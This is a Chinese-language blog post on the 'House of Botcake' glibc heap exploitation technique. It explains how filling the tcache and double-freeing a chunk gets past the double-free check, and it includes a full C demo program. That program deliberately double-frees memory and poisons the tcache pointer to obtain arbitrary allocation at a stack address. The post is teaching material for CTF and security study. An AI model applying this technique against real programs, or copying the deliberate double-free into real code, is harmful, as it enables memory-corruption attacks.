House of Botcake

黎 浩然/ 7 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.27

网上说在 glibc2.29 之後增加了對 tcache 的 double free 檢查,檢查方法是在 tcache fd 之後再增加 key 欄位。如下:

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

欄位key指向的是该线程对应的tcache_perthread_struct结构体。当发现free掉的chunk->key == 该线程tcache_perthread_struct的地址时候,就会检查tcachebin时候已经有相同的chunk。如果有相同的chunk,就会导致应用程式被aborted。

不过,在我的ubuntu18,也就是glibc2.27上也有tcache的double free检查。由此可见,我们总是可以假定tcachebin是有double free检查的。但是,安全客上的博客仍然说明glibc2.27是没有double free check的,并且表明2.29的堆题在国内的比赛比较少见。

Any way,我们这里提到的house of botcake就是为了绕过tcachebin的double free检查的。通过将tcachebin填满7块以后,再利用程序中已有的double free漏洞进行任意地址分配。不过程序还是利用到了tcache的特性。

漏洞利用本质上还是tcache poisoning。

思路是先分配7个chunk,再分配一个prev和一个victim(前面9个chunk有相同的size),最后分配一个chunk防止合并到top chunk。然后,我们就将前7个chunk free掉使tcachebin填满。然后我们free 掉prev和victim,使得这两个chunk在unsortedbin中被合并。

接下来我们从tcachebin中拿掉一个chunk,触发漏洞double free victim使得victim进入tcache的顶部。然后这个时候我们可以分配一块比prev稍大的chunk,就可以改写在tcachebin中的victim中的next指针了。最后连续分配两个chunk就能实现任意地址分配。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * <https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d>
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\\n\\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\\n", a); 
    puts("Allocating a padding to prevent consolidation.\\n");
    malloc(0x10);
    
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }

    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n");
    malloc(0x100);

    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/
    
    // simple tcache poisoning
    puts("Launch tcache poisoning");
    puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;
    
    // take target out
    puts("Now we can cash out the target chunk.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\\n", c);
    
    // sanity check
    assert(c==stack_var);
    printf("Got control on target/stack!\\n\\n");
    
    // note
    puts("Note:");
    puts("And the wonderful thing about this exploitation is that: you can free victim again and modify the fwd pointer of victim");
    puts("In that case, once you have done this exploitation, you can have many arbitrary writes very easily.");

    free(a);// a is already freed
    b[0x120/8-2] = (long)stack_var;
    malloc(0x100);
    intptr_t *d = malloc(0x100);
    
    assert(d==stack_var);

    return 0;
}
Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*